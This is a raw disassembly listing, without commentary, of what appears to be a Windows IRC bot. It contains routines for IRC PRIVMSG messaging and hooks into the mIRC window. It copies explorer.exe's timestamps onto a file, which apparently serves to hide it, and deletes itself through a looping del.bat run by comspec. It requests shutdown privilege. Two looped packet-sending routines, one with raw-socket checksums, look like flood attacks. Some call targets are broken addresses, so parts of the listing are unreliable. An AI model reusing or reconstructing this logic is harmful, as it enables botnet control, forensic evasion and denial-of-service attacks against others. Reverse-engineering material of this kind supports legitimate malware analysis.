		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_40A9F4
		mov	eax, ecx


loc_40A9F4:				; CODE XREF: sub_40A96F+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_40AA27
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_419101
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_40A9D3


loc_40AA23:				; CODE XREF: sub_40A96F+62j
		dec	edi
		dec	esi
		jmp	short loc_40A9AD
; ---------------------------------------------------------------------------


loc_40AA27:				; CODE XREF: sub_40A96F+8Aj
		xor	eax, eax
		jmp	short loc_40AA30
; ---------------------------------------------------------------------------


loc_40AA2B:				; CODE XREF: sub_40A96F+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_40AA30:				; CODE XREF: sub_40A96F+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A96F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA35	proc near		; CODE XREF: sub_40EE72+3C8Ep
					; sub_40EE72+4AF7p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2630313h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 2710000h
		nop
		lea	eax, [ebp+var_100]


loc_40AA6E:				; CODE XREF: sub_40AA35+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_40AA7A
		cmp	cl, 9
		jnz	short loc_40AA7D


loc_40AA7A:				; CODE XREF: sub_40AA35+3Ej
		inc	eax
		jmp	short loc_40AA6E
; ---------------------------------------------------------------------------


loc_40AA7D:				; CODE XREF: sub_40AA35+43j
					; sub_40AA35+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_40AA97
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_40AA7D
		cmp	cl, 21h
		jl	short loc_40AA7D


loc_40AA97:				; CODE XREF: sub_40AA35+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_43F798
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA35	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AABF	proc near		; CODE XREF: sub_40EE72+5732p
		push	esi
		push	0
		call	dword_43F638
		test	eax, eax
		jz	short loc_40AAF6
		push	1
		call	dword_43F658
		mov	esi, eax
		test	esi, esi
		jz	short loc_40AAF6
		push	edi
		push	esi
		nop
		call	near ptr 272067Ch
		push	esi
		mov	edi, eax
		call	near ptr 2720000h
		nop
		call	dword_43F6BC
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AAF6:				; CODE XREF: sub_40AABF+Bj
					; sub_40AABF+19j
		xor	eax, eax
		pop	esi
		retn
sub_40AABF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAFA	proc near		; CODE XREF: sub_40EE72+48C1p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_43F674
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_40AB76
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 2730000h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 2580000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_43F6C4
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_43F6C4
		push	ebx
		call	near ptr 2720C04h
		nop
		push	edi
		nop
		call	near ptr 2611A31h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_40AB78
; ---------------------------------------------------------------------------


loc_40AB76:				; CODE XREF: sub_40AAFA+16j
		xor	eax, eax


loc_40AB78:				; CODE XREF: sub_40AAFA+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40AAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB7C	proc near		; CODE XREF: ___:0040E8BBp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_43F724
		test	eax, eax
		jz	short loc_40AC1B
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_424084
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2740000h
		push	ebx
		mov	ebx, dword_424078
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 2730727h
		push	esi
		call	ebx


loc_40AC1B:				; CODE XREF: sub_40AB7C+2Aj
					; sub_40AB7C+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AB7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC20	proc near		; CODE XREF: sub_40EE72+13C4p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_43F5B0
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_40AC20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC42	proc near		; CODE XREF: sub_40CAF1+472p
					; sub_40EE72+59D4p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42F5C0, esi
		push	edi
		jz	short loc_40AC66
		cmp	dword_43F738, esi
		jnz	short loc_40AC66
		push	esi
		call	sub_40C1AE
		pop	ecx


loc_40AC66:				; CODE XREF: sub_40AC42+13j
					; sub_40AC42+1Bj
		call	sub_416F25
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 275113Ah
		nop
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2630000h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_40ADC6
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 2620000h
		nop
		push	edi
		call	near ptr 2611A31h
		nop
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43C80C
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 2700B59h
		push	eax
		call	near ptr 2640000h
		nop
		lea	eax, [ebp+var_15C]
		push	eax
		call	near ptr 267029Bh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40AD6E
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	near ptr 2751040h
		nop


loc_40AD6E:				; CODE XREF: sub_40AC42+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	near ptr 2750000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	near ptr 274056Fh
		nop


loc_40ADC6:				; CODE XREF: sub_40AC42+72j
		pop	edi
		pop	esi
		leave
		retn
sub_40AC42	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADCA	proc near		; CODE XREF: sub_4013EC+7p
					; sub_401992+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40ADF2
		push	[esp+arg_0]
		call	dword_43F6EC
		test	eax, eax
		jnz	short loc_40ADEB
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40ADEB:				; CODE XREF: sub_40ADCA+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40ADF2:				; CODE XREF: sub_40ADCA+Dj
		retn
sub_40ADCA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADF3	proc near		; CODE XREF: sub_40EB92+D6p
		mov	ecx, dword_43F590
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AE01
		call	ecx

locret_40AE01:				; CODE XREF: sub_40ADF3+Aj
		retn
sub_40ADF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE02	proc near		; CODE XREF: sub_40EE72:loc_414556p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_43F6E4
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40AEC8
		sub	ecx, 32h
		jz	loc_40AEC1
		sub	ecx, 48h
		jz	short loc_40AE62
		sub	ecx, 6Eh
		jz	short loc_40AE5B


loc_40AE44:				; CODE XREF: sub_40AE02+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DA5C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_40AEA2
; ---------------------------------------------------------------------------


loc_40AE5B:				; CODE XREF: sub_40AE02+40j
		push	offset unk_42DA28
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------


loc_40AE62:				; CODE XREF: sub_40AE02+3Bj
		push	[ebp+var_8]
		call	sub_417B89
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_417330
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AE8F
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_43F6E4
		cmp	eax, edi
		jz	short loc_40AEC8
		jmp	short loc_40AE44
; ---------------------------------------------------------------------------


loc_40AE8F:				; CODE XREF: sub_40AE02+79j
		push	offset unk_42D9E8


loc_40AE94:				; CODE XREF: sub_40AE02+5Ej
					; sub_40AE02+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_40AEA2:				; CODE XREF: sub_40AE02+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_40AEB2:				; CODE XREF: sub_40AE02+C8j
					; sub_40AE02+DCj
		push	esi
		call	sub_417C3B
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40AEC1:				; CODE XREF: sub_40AE02+32j
		push	offset unk_42D9A8
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------


loc_40AEC8:				; CODE XREF: sub_40AE02+29j
					; sub_40AE02+89j
		cmp	[esi], edi
		jbe	short loc_40AEB2
		lea	ebx, [esi+4]


loc_40AECF:				; CODE XREF: sub_40AE02+DAj
		push	ebx
		call	dword_43F6E0
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AECF
		jmp	short loc_40AEB2
sub_40AE02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEE0	proc near		; CODE XREF: sub_40144A+243p
					; sub_401D82+268p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F60C
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43F99C
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4172B0
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AEE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF39	proc near		; CODE XREF: sub_4010B5+24Cp
					; sub_4010B5+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AF62
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AF55:				; CODE XREF: sub_40AF39+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AF55
		pop	edi
		jmp	short loc_40AF66
; ---------------------------------------------------------------------------


loc_40AF62:				; CODE XREF: sub_40AF39+Aj
		mov	edx, [esp+4+arg_0]


loc_40AF66:				; CODE XREF: sub_40AF39+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AF70
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AF70:				; CODE XREF: sub_40AF39+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AF39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF86	proc near		; DATA XREF: sub_40EE72+2E51o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_43F5F4
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43F6A8
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40AFE1
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43F6EC
		cmp	eax, ebx
		jz	short loc_40AFE7


loc_40AFE1:				; CODE XREF: sub_40AF86+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40B044


loc_40AFE7:				; CODE XREF: sub_40AF86+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DAD8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B027
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h


loc_40B027:				; CODE XREF: sub_40AF86+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25E02EAh


loc_40B044:				; CODE XREF: sub_40AF86+5Fj
		cmp	eax, ebx
		jz	short loc_40B054
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40B057
; ---------------------------------------------------------------------------


loc_40B054:				; CODE XREF: sub_40AF86+C0j
		mov	[ebp+var_4], esi


loc_40B057:				; CODE XREF: sub_40AF86+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_417330
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_40B077
		mov	[ebp+var_3C], eax


loc_40B077:				; CODE XREF: sub_40AF86+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_40B07F
		mov	[ebp+var_38], edi


loc_40B07F:				; CODE XREF: sub_40AF86+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_40B0AC


loc_40B086:				; CODE XREF: sub_40AF86+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_43F58C
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_40B086


loc_40B0AC:				; CODE XREF: sub_40AF86+FEj
		push	[ebp+arg_0]
		call	dword_43F720
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DA9C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B0F5
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h


loc_40B0F5:				; CODE XREF: sub_40AF86+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 25E02EAh
		nop
sub_40AF86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B112	proc near		; DATA XREF: sub_40EE72+2FA9o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		nop
		call	near ptr 25E08E4h
		push	eax
		call	sub_417302
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_43F6E8
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40B1F7
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_43F6EC
		cmp	eax, edi
		jnz	short loc_40B1F0
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB4C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B1D3
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h


loc_40B1D3:				; CODE XREF: sub_40B112+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25E02EAh


loc_40B1F0:				; CODE XREF: sub_40B112+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40B1FA
; ---------------------------------------------------------------------------


loc_40B1F7:				; CODE XREF: sub_40B112+6Ej
		lea	eax, [ebp+arg_0]


loc_40B1FA:				; CODE XREF: sub_40B112+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40B215
		call	sub_41730C
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40B218
; ---------------------------------------------------------------------------


loc_40B215:				; CODE XREF: sub_40B112+F0j
		push	[ebp+var_24]


loc_40B218:				; CODE XREF: sub_40B112+101j
		call	dword_43F668
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40B22A
		mov	[ebp+var_24], esi


loc_40B22A:				; CODE XREF: sub_40B112+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40B237
		mov	[ebp+var_24], eax


loc_40B237:				; CODE XREF: sub_40B112+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40B24B
		mov	[ebp+var_28], esi


loc_40B24B:				; CODE XREF: sub_40B112+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40B26C


loc_40B252:				; CODE XREF: sub_40B112+158j
		call	sub_41730C
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40B252


loc_40B26C:				; CODE XREF: sub_40B112+13Ej
					; sub_40B112+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_40B2CB
		push	0Bh
		pop	esi


loc_40B279:				; CODE XREF: sub_40B112+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_43F6CC
		push	[ebp+var_28]
		nop
		call	near ptr 25F0439h
		dec	esi
		jnz	short loc_40B279
		cmp	[ebp+var_24], edi
		jnz	short loc_40B26C
		call	sub_41730C
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_43F668
		mov	[ebp+var_E], ax
		jmp	short loc_40B26C
; ---------------------------------------------------------------------------


loc_40B2CB:				; CODE XREF: sub_40B112+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB10
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B30B
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h


loc_40B30B:				; CODE XREF: sub_40B112+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25E02EAh
sub_40B112	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B328	proc near		; CODE XREF: sub_40B358+2Ap
					; sub_40B390+7Ep ...
		mov	eax, dword_43F9B4
		push	esi
		mov	esi, dword_424078
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B33C
		push	eax
		call	esi


loc_40B33C:				; CODE XREF: sub_40B328+Fj
		mov	eax, dword_43F9BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B349
		push	eax
		call	esi


loc_40B349:				; CODE XREF: sub_40B328+1Cj
		mov	eax, dword_43F9B0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B356
		push	eax
		call	esi


loc_40B356:				; CODE XREF: sub_40B328+29j
		pop	esi
		retn
sub_40B328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B358	proc near		; CODE XREF: sub_40C351+14Ap
					; sub_40EE72+4883p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_43F9B8
		nop
		call	near ptr 2620000h
		test	eax, eax
		jnz	short loc_40B38B
		call	sub_40B328
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B38B:				; CODE XREF: sub_40B358+28j
		push	1
		pop	eax
		leave
		retn
sub_40B358	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B390	proc near		; CODE XREF: sub_40B417+D3p
					; sub_40B417+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43C80C
		push	[ebp+arg_4]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B3D3
		push	7D0h
		call	near ptr 25F0439h
		nop
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40B3EA
; ---------------------------------------------------------------------------


loc_40B3D3:				; CODE XREF: sub_40B390+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_40B3EA:				; CODE XREF: sub_40B390+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		test	eax, eax
		jg	short loc_40B413
		call	sub_40B328


loc_40B413:				; CODE XREF: sub_40B390+7Cj
		xor	eax, eax
		leave
		retn
sub_40B390	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B417	proc near		; DATA XREF: sub_40B56C+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
